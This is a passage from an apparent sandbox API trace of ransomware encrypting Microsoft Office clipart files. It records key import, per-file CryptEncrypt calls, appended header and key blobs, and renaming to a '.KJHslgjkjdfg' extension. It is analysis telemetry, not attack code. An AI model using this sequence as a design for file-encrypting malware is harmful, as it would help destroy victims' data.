dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.453] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7e90, lpOverlapped=0x0) returned 1 [0188.455] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7e90, dwBufLen=0x7e90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7e90) returned 1 [0188.456] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.456] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7e90, lpOverlapped=0x0) returned 1 [0188.456] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.456] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.456] SetEndOfFile (hFile=0x114) returned 1 [0188.460] GetProcessHeap () returned 0x2a0000 [0188.460] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.460] GetProcessHeap () returned 0x2a0000 [0188.460] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.460] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp.kjhslgjkjdfg")) returned 1 [0188.463] CloseHandle (hObject=0x114) returned 1 [0188.463] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c36200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c36200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02738U.BMP", cAlternateFileName="")) returned 1 [0188.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.464] GetProcessHeap () returned 0x2a0000 [0188.464] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.464] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.464] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.464] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.467] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.467] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.467] GetProcessHeap () returned 0x2a0000 [0188.467] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.467] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.467] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.467] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.467] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.467] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.467] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.468] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.468] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.468] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.468] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.468] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.468] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8118, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8118, lpOverlapped=0x0) returned 1 [0188.469] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8120, dwBufLen=0x8120 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8120) returned 1 [0188.470] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.470] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8120, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8120, lpOverlapped=0x0) returned 1 [0188.470] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.470] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x81f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.470] SetEndOfFile (hFile=0x114) returned 1 [0188.473] GetProcessHeap () returned 0x2a0000 [0188.473] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.473] GetProcessHeap () returned 0x2a0000 [0188.473] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.473] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp.kjhslgjkjdfg")) returned 1 [0188.475] CloseHandle (hObject=0x114) returned 1 [0188.475] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9ff1700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9ff1700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5f2b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02740G.GIF", cAlternateFileName="")) returned 1 [0188.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.478] GetProcessHeap () returned 0x2a0000 [0188.478] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.478] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.478] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.478] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0188.481] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.481] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.481] GetProcessHeap () returned 0x2a0000 [0188.482] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.482] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.482] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.482] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.482] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.482] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.482] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.482] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.482] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.483] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.483] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.483] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.483] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5f2b, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5f2b, lpOverlapped=0x0) returned 1 [0188.484] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5f30, dwBufLen=0x5f30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5f30) returned 1 [0188.484] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.485] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5f30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5f30, lpOverlapped=0x0) returned 1 [0188.485] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.485] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.485] SetEndOfFile (hFile=0x114) returned 1 [0188.488] GetProcessHeap () returned 0x2a0000 [0188.488] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.488] GetProcessHeap () returned 0x2a0000 [0188.488] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.488] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif.kjhslgjkjdfg")) returned 1 [0188.490] CloseHandle (hObject=0x114) returned 1 [0188.491] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f6500, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f6500, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02740U.BMP", cAlternateFileName="")) returned 1 [0188.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.493] GetProcessHeap () returned 0x2a0000 [0188.493] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.493] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.493] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.493] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.496] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.496] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.496] GetProcessHeap () returned 0x2a0000 [0188.496] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.496] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.496] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.496] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.496] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.497] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.497] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.497] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.497] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.497] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.497] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.497] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.497] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7f68, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7f68, lpOverlapped=0x0) returned 1 [0188.499] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7f70, dwBufLen=0x7f70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7f70) returned 1 [0188.499] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.499] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7f70, lpOverlapped=0x0) returned 1 [0188.499] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.499] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.500] SetEndOfFile (hFile=0x114) returned 1 [0188.503] GetProcessHeap () returned 0x2a0000 [0188.503] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.503] GetProcessHeap () returned 0x2a0000 [0188.503] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp.kjhslgjkjdfg")) returned 1 [0188.505] CloseHandle (hObject=0x114) returned 1 [0188.505] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf53a6300, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53a6300, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x50a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02742G.GIF", cAlternateFileName="")) returned 1 [0188.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.507] GetProcessHeap () returned 0x2a0000 [0188.507] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.507] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.507] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.507] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0188.510] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.510] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.510] GetProcessHeap () returned 0x2a0000 [0188.510] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.510] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.510] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.510] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.510] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.510] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.510] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.511] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.511] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.511] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.511] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.511] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.511] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x50a5, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x50a5, lpOverlapped=0x0) returned 1 [0188.512] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x50b0, dwBufLen=0x50b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x50b0) returned 1 [0188.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.513] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x50b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x50b0, lpOverlapped=0x0) returned 1 [0188.513] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.513] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.513] SetEndOfFile (hFile=0x114) returned 1 [0188.516] GetProcessHeap () returned 0x2a0000 [0188.516] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.516] 